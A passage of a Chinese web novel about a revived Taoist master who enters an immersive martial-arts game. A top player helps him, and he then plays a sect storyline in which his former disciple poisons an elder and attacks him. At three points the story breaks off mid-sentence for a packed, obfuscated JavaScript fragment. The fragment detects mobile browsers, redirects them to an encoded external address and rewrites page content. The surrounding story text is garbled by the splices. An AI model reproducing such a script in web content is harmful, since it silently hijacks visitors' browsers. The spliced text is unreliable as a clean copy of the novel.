他的面容与真实长相一般无二,只额头多了一烟青色莲花印痕,显得尤为俊美。相比白天的唐装,这样的古代装束更适合他的面容,尤衬得他鬓若刀裁、目若朗星。 这些却不是最引人注目的,真正流光溢彩的是他的头衔: [千秋一古] 秦不赦 5. 英雄救美 名为“秦不赦”的玩家隐藏了修为,但不妨碍一众喽啰惊掉下巴,“千秋一古”属于全服称号,顶着这个头衔的玩家整个海尽天劫大概只有个位数。 那轮无论何时都悬于半空的明月是五岳剑宗的累充技能“逐月华”,秦老板端坐月下,坐骑是月亮、技能是月亮、衣袍披风上银丝绣着月亮,整个人亮闪闪的,字面意思上的“披星戴月”。 围观群众眼巴巴欣赏王霸之气,唯殊无己依旧温和沉静,他解开披风,露出半身雪白的皮肉和一条寒碜的白底裤,一边道谢作揖一边双手奉着锦衣还给秦老板。 秦老板盯着他,余光触及四围的人群,眉头突然皱得死紧。他接过披风,反手兜头给殊无己裹了个严实,动动手指,弹出了一个共乘邀请。 殊无己:“?” 秦老板看他没反应,耐心很快就没了,啧了一声就把他拉上了月亮。殊无己脚下一轻,紧接着视网膜上浮现了一行字:您已进入共乘状态。 斜月腾空,轻风拂面,秦不赦按着他肩膀的手掌并没有用几分力,但殊无己没有挣开。 他想:权当欠对方一个人情。 踏月行飞出数里,秦不赦才松了手,一言未发,垂目替殊无己系上斗篷的系带。 他的手指很长,很漂亮,但不柔软,节骨微突,覆有薄茧,与妖道润玉羊脂一般的手掌不同,一眼便知是男子的手。 他的动作很轻柔,轻巧拨弄绸带的姿势与精心擦拭人偶时相类。 殊无己一顿,忽然将手按在对方的腕上,同样柔和且不容置疑地将其推开,道:“无功不受禄,秦先生。” 秦不赦倒也没生气,只看着他,正色道:“修为归零会死的,你要是总运气不好,怎么办?” 这句话说得一点没错,殊无己平生不知道运气两个字怎么写,他从头到脚只有晦气。 殊无己皱眉:“何为‘死’?” “不仅仅是角色生命归零,你在收容所的身体也会被废弃。”秦不赦道,“这早就不是游戏了——你没有看我给你的居家手册吗?” 殊无己道:“尚未来得及。” “就算有时间你也不会看的。”秦不赦挑了挑眉,言之凿凿,“罢了,你不要我的衣服,那我把扳指借你吧。打副本掉的,不值几个钱,拿来保命足够了。你下次刷到了还给我就行。” 说着他轻描淡写地褪下了左手食指上的白玉扳指递过去,殊无己这回没有推脱,而是道谢后接下了。 微凉的触感十分真实,羊脂玉油润纯美,上面雕的是白鹤舞月,殊无己微微一笑,效仿对方将扳指戴在了食指上。 “大了。”秦不赦道,顺势握着殊无己的手腕,替他改戴了拇指。 这个动作其实有些暧昧,但殊无己意识不到,秦不赦也表现得很庄重,即便眼前人披着他的外衣,带着他的戒指,乘着他的坐骑,他也没碰到任何有失分寸的地方。 戴完扳指他又松了手,背靠弯月,略带笑意地问:“怎么什么都不穿就进来了,有裸睡的习惯吗?” 殊无己颔首,既不羞窘,也没有解释,他再次解下外袍还给秦不赦,这次对方接下了。 他的修为直线降到了300点,气血少了大半管,秦老板没骗他,这枚扳指的价值确实远不如那件外袍。 秦不赦调出了他的面板,查看片刻,道:“有气血食品么?” 殊无己茫然摇头。 他困惑发怔的时候两篇芦花似的睫是下垂的,尘帚一般颇为可爱,秦不赦眯眼看他,凌空点了点,气血食品架跳了出来。 他选择了赠与。 殊无己掌心即刻出现了一只纸包,展开一看,是一包莲花酥,炸脆的花瓣薄如蝉翼,酥皮微蜷,甜丝丝的果酱味立刻逸散在空气中。 “味道不错。”秦不赦说,“虽然是假的,但可以一试。” 殊无己心想这是小孩子才喜欢的东西,秦老板跟他装老成,实际上背地里玩木偶、吃甜食、下楼梯一步两个阶儿,实在还是欠收拾的年纪。 然而他确实已经很长时间没有吃过东西了。他死前因为中毒,吃什么吐什么,几个月没有沾水米,一觉醒来又到了这个光怪陆离的异世,除了一嘴巴泥水和车尾气更是什么也沾过嘴唇。 很多人忘了,殊无己虽然剑指天地、脚踏九州,但至死仍是半仙之身,他是会饿的。 殊无己盯着手里的糕点看了会,最终没有拒绝这份善意,他拾起一枚酥饼送入口中,脆薄的酥皮碎在舌尖,芳香宜人,馅料松软入口即化,花蜜似的甘甜无比。 “色味俱佳。”他温声说,“多谢。” 他又启唇咬下一片酥皮花瓣,有点艰难地用指腹托着点心,不想让漆黑的手指碰到手里的食物。秦不赦看了半晌,在目光显得失礼前垂目摆弄起腰带上系的龙凤佩。 “退出以后下楼去我那儿,让我给你煮碗面吧。”秦老板低声说。 “什么?”殊无己正在走神,全没听清。 “没什么。”秦不赦说,“游戏内的食品会给你饱腹的错觉,不要耽溺。” 殊无己淡淡一笑:“秦先生过虑了,贫道不是贪于口舌之欲的稚子顽童。” 他停顿了一下,突然想起来秦不赦办公室里满柜子的玩偶,忍不住提点:“倒是秦先生似是执迷于虚拟角色,易生心障,务必小心。” 秦不赦没再说话,而是看了眼别处,转移了话题:“下去了,先做身衣服。你这个样子有碍观瞻。” “去哪里?”殊无己问。 “盛昌城,燕雀坊。”秦不赦调出地图,勾选了一个传送点,“做衣服的地方,专治裸奔玩家。”说着嫌弃似的瞥了一眼对面的裸男。 殊无己无奈:“秦先生,我身上并无购置成衣的盘缠,我不想再欠你人情。” 秦不赦没看他,只道:“没事,不借你钱。打造装备不需要花银两,凑够原材料就行。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438804|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他说着从包裹中掏出一袋“无痕绸”一包“琉璃珠”,睁眼说瞎话地解释:“材料平时去山上挖土杀羊就会掉落,如果要算账,你以后挖回来还我就行。” 殊无己听他这么一说,也觉得无甚大碍,便应下了,只是他不知道挖土杀羊虽然会掉金装材料,但掉率只有万分之一。秦老板满袋子的材料当然都是从游戏市场真金白银竞拍回来的,无痕绸最低市价四十五万银两一匹,琉璃珠六十八万一颗,折合人民币四万五和六万八,照他现在的身家,过一百年说不定可能还清。 —————————— 说话间,踏月行飞到了盛昌城,与漠北截然不同的景象映入眼帘。叫卖呼和说书唱戏之声不绝于耳、锦衣玉带的王孙公子骑在街上斗鸡走狗,大红灯笼从街头挂到街尾,一条金秀河横贯东西,画舫笙歌相接不绝。 殊无己一个披头散发的裸男走在这锦绣人间多少有点奇怪,然而他很快发现这里的“少侠”“公子”都不是什么正经人,走过路过一个个满面邪笑地看着他,有人问他“能不能给个捏脸数据”,有人故意摔跤想往他身上跌,还有人神神叨叨地问他顶着这张脸裸奔是不是想让殊掌门做受。 他问秦不赦:“他们与殊无己非亲非故,为何要给他做寿?” “……”秦不赦说,“自然是希望他福泽绵长,寿比南山。” 殊无己哂笑:“平日里咒殊无己死于非命的不少,做寿实是闻所未闻。” 秦不赦没说话,转头打开了燕雀坊的门。 视野一晃,他们直接进入了铺子内堂。秦老板自己准备了材料,自然不看挂在门口的成衣,而是从背包里调出几卷成衣图纸,摊开在殊无己面前,简短地解释道:“三清门的金装有三种,一套pvp一套pve,还有一套没什么用,但是很漂亮,可以炫富。” 殊无己当然听不懂什么pvp、pve,他安静地抱着手臂,用目光示意对方继续解释。他脸上分明礼貌温驯,姿态却傲慢得理所当然,好像眼前这个贵气凛然的“千秋一古”也不过是他座下三千弟子之一罢了。 秦不赦抿了抿唇,熟练地长话短说:“你刚才已经感觉到了吧,这个游戏里的修为和阳寿有关。提升修为的常规方法有三种,杀人,打怪,傍大款。你选第一套衣服杀人快一点,选第二套打怪快一点,选第三套傍大款快一点。” 殊无己拧着眉头,显然是被后世的礼崩乐坏震撼到了,他习惯性地抚摸着手里的拂尘,因为刚才死了几次,拂尘的耐久度下降得很厉害,现在还处于破损状态,沾着问情天的血,然而这妖道却仿若浑然不知。 就在秦不赦揣摩他还能把这张人皮披多久的时候,他忽然松开眉头,释然一笑。 “今日既是秦先生带贫道来的此地,便说明缘分如此,道法自然,秦先生比贫道熟悉这些,还是交由秦先生决定吧。”殊无己轻掸拂尘,了然地点了点头,目光明澈,“——你选,我穿便是。” 6. 该吃饭了 秦不赦的动作停顿了一下,脸上神色平静,心中却道果然如此。 这人自千年前起就是这副德行,从不在小事上拿主意,抛给你了,就是让你去做,从此不闻不问。搞砸了,他自然来兜底,搞得好也不会多夸你一句。就算卖了命在他眼前刷存在感,除非他想,否则绝不会记得你。 秦不赦轻叹了口气,调出面板比划了几下,三个方案一套都没选,而是选择了自定义模式。 没多久,一套华美异常的道袍逐渐浮现在两人面前。 殊无己意外地看了秦不赦一眼。他当然认得,眼前这衣裳就是三清观掌门身上披的那件流金鹤氅,秦老板做了一些细微的改动,但大致上没有太大的区别,唯一的变动是袖子变得更长,几根透明的翎羽垂落下来,将将能盖住他漆黑的指尖。 殊无己微微挑眉。 秦不赦盯着他的手看了几秒钟,不问自答:“三清是远程输出,把衣服做长一点,看起来技能会范围比较大,比较唬人。” 殊无己:“……” “哦,”秦不赦似乎又想起了什么,说,“美甲不错。” 殊无己:“……秦先生说笑了。” 他说着走进那套悬在半空的衣服里,透明的道袍瞬间化为实体,严丝合缝地罩在他的身上。凌乱如雪的长发整整齐齐地束入金莲冠中,高竖的领口和璀璨的纱罩并未显得俗气,反倒是衬得尤为他更为清寒冷冽,仿佛下一秒要位登三仙了一般。 他眼前跳出一行字。 【您获得金色套装:斩红尘,您的面板属性调整如下。】 气血:90030 内功:7000-34000 总修为:15230 陡然变长一截的数字让他立刻意识到这件衣服绝不像秦不赦轻描淡写说的那样便宜,他刚想问,秦不赦身上突然发出了叮咚的乐声。 秦不赦低下头看了一眼,不动声色地说:“我有事儿,要下线了——你别玩太久,早点出去看看用户手册,免得怎么死都不知道。” 殊无己盯着他,慢吞吞地道了声多谢。 “你现在还没有副武器,用不了你那精妙绝伦的明光剑法。”秦不赦随口说道,“回去先对着用户手册学一下,过一下门派剧情,把基础招式学全了,就不用动不动用拂尘捅人了——走了,下回见。” 他一说完话就准备退出,忽然,眼前换了一身新衣,卓然玉立的白发道人开口喊住了他:“秦先生。” “怎么了?” “衣服很好,感激不尽,我欠你一个大人情。”殊无己淡淡地微笑了一下,但笑意却未达眼底,声音里带着几乎微不可察的警告,“只是莫把贫道和旁的搞混了。” 秦不赦皱了一下眉,没说什么,只是点了点头,就“叮”一声下线了。 ------------------------------------- 秦不赦走后,殊无己效仿着他的样子,打开了面板,找到一个类似八卦盘的图标。他点了一下,清脆的机械音再次在他耳边响起: 【请问您是否回到门派?】 “是。” 眼前的景象消散了。他先是听到了淙淙的溪流声和悉索的竹叶声,一阵熟悉而令人安心的芙蓉熏香味弥散开来,耳边传来弟子们打坐念书的声音,还有人在练习肖夫人提过的基础功法“御六气”、“混元桩”等。 当他睁开眼时,人已经站在三清观的金顶前。只见琼楼玉宇,巍峨矗立,香烟袅袅,殿前立着那个熟悉的人物模型,前方密密麻麻地跪满了弟子,团蒲上满是虔诚的身影,一旁似乎还有人排着队等待下拜的位置空出来。 殊无己心中惊讶,当年他在位时,三清观已是天下第一道观,却远不如现在香火旺盛,亦未曾过有如此千人膜拜的盛景。 但没过几秒钟,他就察觉到了不对劲。 这些人明显不是他过去精挑细选的、品貌端正的三清弟子,反倒更像肖夫人发光盒子里那些讨论屠杀劫掠的不良肖小。 【芳心纵火犯】:最后还是没抓到人是吧?行啊,下次我们去五岳堵他! 【芳心纵火犯】:我就不信那死渣男不准备回门派了。 【贫道求大1】:真的烦死了!要不是我手机被偷了,没赶上趟,你看这家伙能不能逃掉。 【道姑周梦瑶】:大师兄,我还以为你被魂穿了呢。不知道那死渣男怎么回事,怎么找来的秦不赦?你是没看到画面,秦不赦技能一放,大家全忙着追星了,谁还管那个什么渣男啊? 【贫道求大1】:呃…… 【贫道求大1】:他倒不是来帮渣男的。 【道姑周梦瑶】:啊? 【贫道求大1】:他是来追男神的。 【道姑周梦瑶】:什么鬼?他现在不是修为榜第一吗?他的男神是死渣男?他瞎了啊?不是,他是基佬? 【贫道求大1】:……我还是别说话比较好。 【贫道求大1】:马上就开新主线了。我们准备开荒,要带的举个手啊? 【黯嘫吢誶ㄨ】:你们一边去拉群讨论,让让位子,轮到我来看殊无己的裙底了。 【铁马冰河】:让让位子,轮到我来看殊无己的裙底了。 【乾清宫守夜人】:让让位子,轮到我来看殊无己的裙底了。 接下来的场景更加混乱,一群坐在蒲团上的弟子们一轱辘吻了上贫道求大1,又是磕头又是卖艺,另一群终于占到位置的虎狼子弟扑向蒲团跪下,对着远处的掌门人喊老婆的喊老婆,喊Daddy的喊Daddy。三清观前一时间群魔乱舞,伤风败俗。 殊无己看不下去了。他叹了口气,绕开这群喧闹的玩家,走到了三清掌门人模的面前,仔细端详着这尊和自己有七八分相似的塑像——他现在确定此人只是个塑像,但凡有一丁点像他本人,就该把这满堂妖孽拖出去挨个儿鞭打三十了。 然而这塑像做得未免太像了。 殊无己可以确定,做这个人偶的人就算不是他旧识,也至少见过他本人。 可又是谁呢?为什么要这么做? 他忽然伸手抓住人偶的衣袖,掀开袍子,露出手指。只见塑像的指尖是一片近乎透明的洁白,与他漆黑的指甲截然不同。 一个声音打断了他的交互。 玩家【乱花浮雪见人来】拍了你一下。 【乱花浮雪见人来】:你干嘛? 殊无己:“嗯?” 【乱花浮雪见人来】:掌门是大家的,你别随便动手动脚的。 殊无己:“……” 【升官死老公】:算了,谁还不是掌门的迷妹呢? 【升官死老公】:我刚加入三清的时候,也整天在殊掌门面前打坐。 【乱花浮雪见人来】:那也要按顺序排队,懂不懂? 他指了指前方那堆穿模严重的巨型不明物体。殊无己仔细一看,才发现那是一群玩家挤在一起,人模和人模都重叠了,像一只巨型蜈蚣一样,几百只手争先恐后地拽着掌门塑像的手试图交互。 殊无己盯着那忽明忽暗的交互按钮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438805|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住也伸手点了一下,他难得的运气极佳——按钮一下子亮了。 眼前的塑像睁开了眼睛,雪白色的睫毛微微颤抖,目光澄澈温和。 “殊掌门”扭头看向他,微微颔首,启唇道:“福生无量天尊。” 殊无己同样还礼:“福生无量天尊。” 突然,交互卡死在了这里,画面变得灰暗,引导音和界面同时跳出: 【请通关门派剧情以解锁更多互动。】 【注意,门派剧情较长,需确保玩家体能充足。现检测到您的身体状态处于低能模式,暂时无法开放剧情,请继续自由探索。】 话音一落,他又被弹回了门派入口处,与殊掌门的交互也被强制终止了。 殊无己想起秦不赦临走前的话,犹豫了一下,又看了眼这座必须清理的门户,叹了口气,摸索着找到下线的按钮,离开了游戏界面。 ------------------------------------- 像一场梦一般,光怪陆离的游戏世界消失眼前。 殊无己回到了狭小的阁楼里,然而对他来说,眼前的瓷砖地板、水泥墙面、金属卡扣和自动折叠的舱位,比游戏中的世界更加光怪陆离。 还没等他坐起来,耳边就传来了敲门声。这间屋子的隔音不好,他能清楚听到黑墨镜在门外嘀咕。对方似乎已经等了有一段时间了。 他站起身,随手扯过外袍披在身上,简单地用腰带束了一下。又想到入乡随俗方显礼数,他拿出秦不赦给他的那件衬衫套在外面,这才打开门。 “让你久等了。”他温和地看着黑墨镜的双眼,缓声说,“请进。” 黑墨镜一眼就瞧见了那件典型的某人风格的高定衬衫,眼睛直了直,下一秒立刻摆手:“呃,不用了不用了,就是说……现在是饭点,我来送午饭。” 殊无己这才把目光移到他手上。黑墨镜端着一只不知是什么材质、光可鉴人的碗,贴心地揭开盖子,里面是一碗热气腾腾的阳春面,纯素的,却鲜香无比。 “这是养济院的伙食?”殊无己淡淡一笑,黑墨镜却没来由从他脸上看出了一行字:你最好别拿我当傻子。 “其实不是日常伙食,但是你刚来,脑子好像又不太清楚……”黑墨镜挠了挠头,说出了大实话,“所以我们中午做工作餐的时候给你留了一碗。” “谢谢。”殊无己诚恳地道谢。 ”游戏里的很多道具是可以换钱的,如果你运气好或者实力特别强,很快也就不差这点接济了。”黑墨镜好心告诉他,“——还有,这些东西也要放在你那里。” 说着,他从身后的包里面掏出了一大堆丝帛制品、锦袍被褥、香炉手串玉佩罗盘等等,好像打翻了一只上世纪的百宝箱似的。 “这又是何意?”殊无己蹙眉。 “本来就是从你这屋拿出去的。”黑墨镜显然早就准备好了说辞,“你这个屋子以前是杂物间,里面都是老板收藏的一些,呃,游戏周边。因为你来所以才临时搬空了,现在别的地方放不下了,还是得和你挤挤,你平时随便用,成不?” “自然可以。”殊无己平静地说,只是那漆黑的眼神让黑墨镜万分心虚,“我本是受你恩惠,岂能挑三拣四。” 说着他就接过了最上头那杆质地古朴、明显是上了年头的拂尘,轻巧地甩了甩。 “那你休息,我不打扰了。”黑墨镜赶紧关门离开,他总觉得这神经病安静地盯着人看的时候比他老板还要瘆人,好像下一秒就要把拂尘捅进他的脑壳了。 7. 门派剧情 殊无己安静地吃完了面,打开那本厚厚的《海烬天劫用户使用手册》,坐在窗前读了起来。 然后他睡着了。 殊无己不喜欢循规蹈矩,从小修行就是读了两行就顺推整套功法,活到五百多岁一半靠天赋,一半靠命大。 他师父没少拿着戒尺想帮他改了这臭毛病,他自己当了师父以后也没少拿着戒尺整治那些想效仿的门生,然而他本人已经在这条路上走得太远,练着练着就跳出三界之外,不在五行之中了。 不知道是不是因为阳春面的滋味太过熟悉,他梦到了前世死前的景象。 蓝蝎毒发,十片指甲都化为漆黑,已经无药可救。他的眼睛什么也看不见,耳边也嗡嗡的听不清声音,身上一阵冷一阵热,一会重一会轻,似乎有人把他从三界六道的围攻圈里抢了出去,但他完全记不清经过。 过了好一阵子,回光返照一般的,天地安静下来。 温热的触感让殊无己意识到有人背着他,柔软的锦缎抵着他的脖子,他一张嘴,就往别人领子里吐了一兜子腥臭的毒血。 殊无己:“……” 那个人的脚步停顿了一下,接着,有什么冰冷的东西送到他的唇边,他依稀分辨出那是水。 “不必了。”他哑声说,“迁延时日罢了,又是何必。” 对方没有说话,收起了葫芦,继续往前走,他走得很慢、很稳,好像稍微用点力,背上的人就会碎掉似的。 殊无己闭上眼睛,微微张开嘴,呼吸着林间的雾霭,冷冽的水汽沁入心脾,短暂地化解了沉积多年的刺痛,他开始听到鸟叫和瀑布飞泻的声音,兔子啃草叶的声音,一群群的鹅在长草丛中走过的声音。 “这是蓬莱仙山么?”他低声问,其实他想亲眼看看眼前的景象,但已是做不到了。 背着他的人终于“嗯”了一声,这声音似曾相识,他却想不起来。 殊无己轻笑了一下。 “根本没有蓬莱仙山。”他说,尽了为人师表的最后一次职责,“海阴侯逃至东海躲避仇雠,以奇门遁甲御敌,又编出山泉可使人长命百岁、五毒不侵的谎言鼓舞士气。蓬莱仙山只是一处荒岛罢了。” “我知道。”那人答道,仍然在往前走。 殊无己无奈地摇了摇头,呼吸逐渐变得又细,又长,最终,他轻轻地问:“值得吗?” 他不清楚这个问题到底是在问对方还是在问自己。没有人回答他。又过了一会儿,他感到自己的身体被放平了,枕在一个温暖的地方,天上下雨了,他尝到了海水的味道。 他昏昏沉沉地松开了抱着那人脖子的手,意识消散前,他才意识到落在他身上的不是海水——有人伏在他胸前,抱着他无声地痛哭。 ------------------------------------- 殊无己寅时就醒了,正是打坐吐纳的好时间,但他对着满屋子的水泥地兴致缺缺,最终决定回到游戏世界里。 金属传感器再次贴上他的大脑,这次他穿着道袍进了游戏,轻飘飘地落回了三清观门前。 殊掌门的人像仍然伫立在夜色下,像一尊雕像一样守护着身后的宗门,金袍鹤氅,玉冠银尘,面如美玉,双眼寂寂如秋水。 蒲团上打坐的“弟子”人数倒是比白天少了很多,门派频道安安静静的,只是偶尔跳出一两条通知。 殊无己面无表情地从打着哈欠的弟子身上踩过,要是过去有人在晨功的时候打瞌睡,他手里必定会提一根戒鞭,一个个抽过去,但现在他没这机会了。 他重新点亮了互动的按钮,这一次,系统自动打开了“门派剧情”的界面。 【第一章初入三清】 眼前的画面暗了下去,下一瞬又亮了起来,殊无己感到脚下腾空,他定睛一看,一只巨雕正驮着他向下俯冲,背后硬硬地硌着什么东西,他想扭头,就听到一个冷峻的声音: “不要动!” 一双手扣住他的肩膀把他往下压,让他伏在雕背上,与此同时,一道漆黑的剑光擦着他的耳鬓闪过。 “珈蓝剑法。”他皱眉说。 “你认出来了?”身后的男人也压低身子,扯着束雕的缰绳飞出了剑阵,这才松开了他,他转过头,终于看清了对方的长相——他不久前见过类似的相貌,只不过这个人比秦不赦看起来要老上十几岁,面颊也更为凹陷,“大哥说你耽溺玩乐,不学无术,看来也并非如此。” 殊无己挑了挑眉。 男人英俊瘦削的脸旁飘出一行字【五岳长老秦万仇】 “我们要去何处?”他问。 “去见你将来的师父。”秦万仇的眉头始终紧锁在一起,却在提到下面那个人名的时候略微舒展,“三清道祖,殊无己。” 殊无己叹了口气。 “殊道长御下极严,我劝你不要跟在家里似的,整天不务正业。”秦万仇警告他,“否则非得给你揭下一层油皮来。” 殊无己当然没被吓到,反倒是笑了:“合该如此。” 秦万仇莫名其妙地看了他一眼。 云消雾散之时,巨雕徐徐下坠,秦万仇抱着他,从雕背上一跃而下。两名三清弟子已守在门前,见了二人,躬身行礼道:“福生无量天尊。” “两位道长安好。”秦万仇抱了抱拳,看见自己的“大侄子”正抱着双臂、歪着头饶有兴致地看着,忍不住伸手一拍他的背脊,“成何体统?” 殊无己扫了他一眼,就被按着鞠了躬,他心里无奈,只觉得眼前两个小道士挺像过去给他提着袍角捧着拂尘的那俩童子,又觉得不至于如此巧合。 “掌门人今日午时出关。”左首的小道士道,“两位请到内间喝茶。” 秦万仇道了谢,就要接着提溜殊无己,殊无己瞬间往旁边平移了两米避开,率先走向堂内。 “你叫什么名字?”他垂眼问了问正在煮茶的道童。 “我叫溪云,他叫山风。”道童说,“里面坐着的是我们的大师兄,纪望春。” 殊无己怔了怔神。 他记得纪望春这个名字,几百年前他刚继任三清掌门的时候,似乎是有这么个徒弟。 但…… 他眉尖微蹙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438806|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时候秦万仇也惊天动地地走了进来,大马金刀地望堂前一坐,举起茶盏就仰起脖子咣咣地喝,都没注意到纱帘后面的蓝衣道人。 当纪望春提着拂尘走出来的时,秦万仇差点把水喷出来。 “失、失礼了,这位——” “贫道纪望春。”纪望春微微欠身,“乃三清观一百一十五代弟子。” “在下秦万仇。”秦三叔掐着手指算了算,“你是殊掌门的门人?” “正是。”纪望春微笑。 “这是我们大师兄。”山风、溪云再次强调,“是师尊的座下首徒。” 殊无己了然,他想起来了,纪望春确实是他第一个收的徒弟。 但遗憾的是,“第一”对他来说,没什么特别的,他几乎忘了纪望春,就像忘了来来往往的千百门人一样。 然而纪望春却没有放过他,而是盯着他问:“这位就是……” “殊渺。”殊无己温声道,毫不在意地朝过去的徒弟行了个礼,“福生无量天尊。” “小渺想拜在掌门人门下。”秦万仇往前走了一步,把这个不识抬举的侄子挡到身后,接着从怀里摸出一条带血的丝巾,双手捧着递给纪望春,“道长……” 他话还没说完,声音已经哽咽了:“这是我二哥——” “令兄的事,家师已经知道了,还请节哀顺变。”纪望春点了点头,却没有接过血书,“但家师准备闭关十载,恐怕无法照料令兄的遗孤,依我看,这位殊道友若愿意拜在张师弟门下,也是不错。” “张望山?”殊无己打断了他们,两人瞬间惊讶地看向了他。 “不拜。”殊无己徐徐道来,“张望山德性惫懒,沉溺酒色,不日将被逐出门户,横死山下,我拜他做甚?” 秦万仇:“?” 纪望春:“?” 纪望春:“那么孙师妹一向勤奋苦修……” 殊无己接着道:“但天资平平,下个月就要葬身敌手。” “李师侄年纪虽小,却是天资聪颖——” “可惜运气太差,胆子又小,元武年十月被山中老虎咬死,还是不拜为好。” “你!”纪望春的脸变成了青色,秦万仇看他的表情更是要吃人了,“那你想拜入谁的门下?” 殊无己抬眸看向纪望春,恳切道:“我既然不记得你了,想来你没有半路横死,或许拜你为师,方是良策。” 纪望春牙都快咬碎了,却假惺惺地说:“我是师门首座,要收入室弟子,还需师尊首肯方可——” “此乃谎言。”殊无己微笑道。 “好了,你闭嘴吧!”秦万仇咆哮道,“再这样哪里来的回哪里去,就当你爹白死了!” 他说着突然脸色一变,“哇”地吐出一口血来,众道童一阵惊叫,围了上来,给他点穴喂药。 然而为时已晚,秦万仇双目暴突、舌头发青,已是中毒身亡之象。 殊无己目色一凛,他慢吞吞地捻着拂尘,忽然想起来为什么纪望春这个名字有几分熟悉了。 ——他的一片指甲是因为这个好徒弟黑的。 8. 出关 “秦长老不行了!”溪云大喊,“大师伯,你有什么法子吗?” 纪望春双眉紧皱,微微摇头:“我去请掌门师叔出关。” 他说着就拔腿往外走,殊无己立刻跟了上去,不顾身后两小童的呼喊。 纪望春脸色一沉:“殊道友不留下看看您叔父吗?” “他已经死了。”殊无己平静地说,“你下的毒?” 纪望春:“?” 殊无己斜抱着拂尘,就这么看着这个大弟子脸色从青变红,做出一副怒急攻心的样子:“殊渺,我三清观好心收留你们叔侄,你不要血口喷人了!” “嗯。”殊无己点点头,温声道,“所以是不是你下的毒?” 纪望春额头上青筋暴跳,手已经按在了剑柄上,奈何往来弟子不断,他强作镇静:“你有何凭证,说我杀人?” “没有。”殊无己说,“但你走反方向了。你师父闭关的地方在那里。” “……”纪望春倒抽一口冷气,压低声音问:“你究竟是什么人?” 殊无己淡笑了一下:“一时半会说不清。你现在是要去望仙泉洗掉手上的毒吗?你把毒药抹在了杯口,自己喝之前用手抹去了,可是如此?” “我是要去后山。”纪望春的脸色阴沉下去,“因为后山没人。” 他说着,“唰”的一声拔出剑,剑锋蓦地贴上殊无己颈侧,他面容扭曲:“——正好除了你这个不知好歹的小贼。” 殊无己露出了一个茫然的表情,当然不是被吓得,纯粹是被自己的徒弟喊“小贼”让他震撼得有点花容失色。 “叮——”一声后,眼前画面一荡,游戏进入了战斗模式。一个轻柔的指导音开始介绍三清的技能构成: 【三清门,以气御敌,以剑除贼。主武器:拂尘,副武器:长剑,两套功法自由切换。】 【您获得初阶武器:探虚尘(试用)、明玉剑(试用)】 【目标:从纪望春手下逃生】 殊无己微微蹙眉,好像不理解“逃生”两个字是什么意思。 他一侧身躲过袭来的剑锋,抽出从天而降的明玉剑,一个斜劈,架住袭来的利刃。 “你急于求成,贪多求快的老毛病倒是分毫未改。”他沉声呵斥,倒转剑势,刺向纪望春肋下破绽,“若是抢到先机倒也罢了,若他人胜过你,你又如何能脱身?” 纪望春忙矮身招架,他双目赤红:“你怎么敢说和他一样的话?”说着更是将手中长剑舞得如疾风骤雨般。 殊无己叹了口气,又一个诡异的斜身,将剑刃点向纪望春的手腕,纪望春大惊,猝然回防,看看驾住了这一下。 要输! 他露出震悚无比的表情,狼狈举剑挡住攻势,然而下一秒,“噼啪”一声,殊无己手里的明光剑“锵”一声断了。 纪望春:“……” 殊无己:“……” 他若有所思地看着手里的半截断剑,还没想明白原因,“噗嗤”一声,纪望春已一剑捅进了他的胸口,脸上露出了小人得志的笑容。 【您已经死了。】 殊无己被弹出了战斗界面,熟悉的播报声再次萦绕在他耳边。 【注意,纪望春是强力型对手,您目前的修为无法应对。】 【游戏提示:本章的目标是在超强boss纪望春手下生存30秒,请擅用位移技能,如探玉虚、御六气等。战斗将在5秒后重新开始。】 “此言差矣。”殊无己恳切地试图和系统对话,“纪望春资质平平,又急于求成,将剑舞得如此之快方能入眼,与‘超强’二字无涉。” 没人理他。 等他文绉绉一通话讲完,战斗界面已经重新亮起。纪望春目眦欲裂地拔剑砍向他,神色状若恶鬼。 “你已走火入魔。”殊无己边闪身边道,“再不清醒就迟了。” “与你何干!你又是什么人!”纪望春大叫,“你以为你是殊无己吗?” 殊无己一时无语,他瞥见右上角三十秒倒计时,脚下踏开步法如游云般化解了袭来的攻势。然而纪望春破绽百出的招式让他实在忍无可忍,他手指一动,柔软的拂尘卷上前去,缠住了不肖弟子的手腕,再一扯,就要将剑从对方手中卸出来。 没有任何力劲顺着拂尘上传来,殊无己暗道不妙,果然,下一瞬,“嘶啦”一声,拂尘被剑削成了两节,在他手里秃剩下一根手柄。 “啊啊啊!!!”纪望春咆哮着冲来。 【您已经死了。】 系统提示再次响起。 【请妥善使用探玉虚、御六气等位移技能。】 殊无己深深吸了一口气,五秒后,他手里拿着一根光秃秃的棍子再次出现在纪望春面前。 纪望春:“啊啊啊!!!” 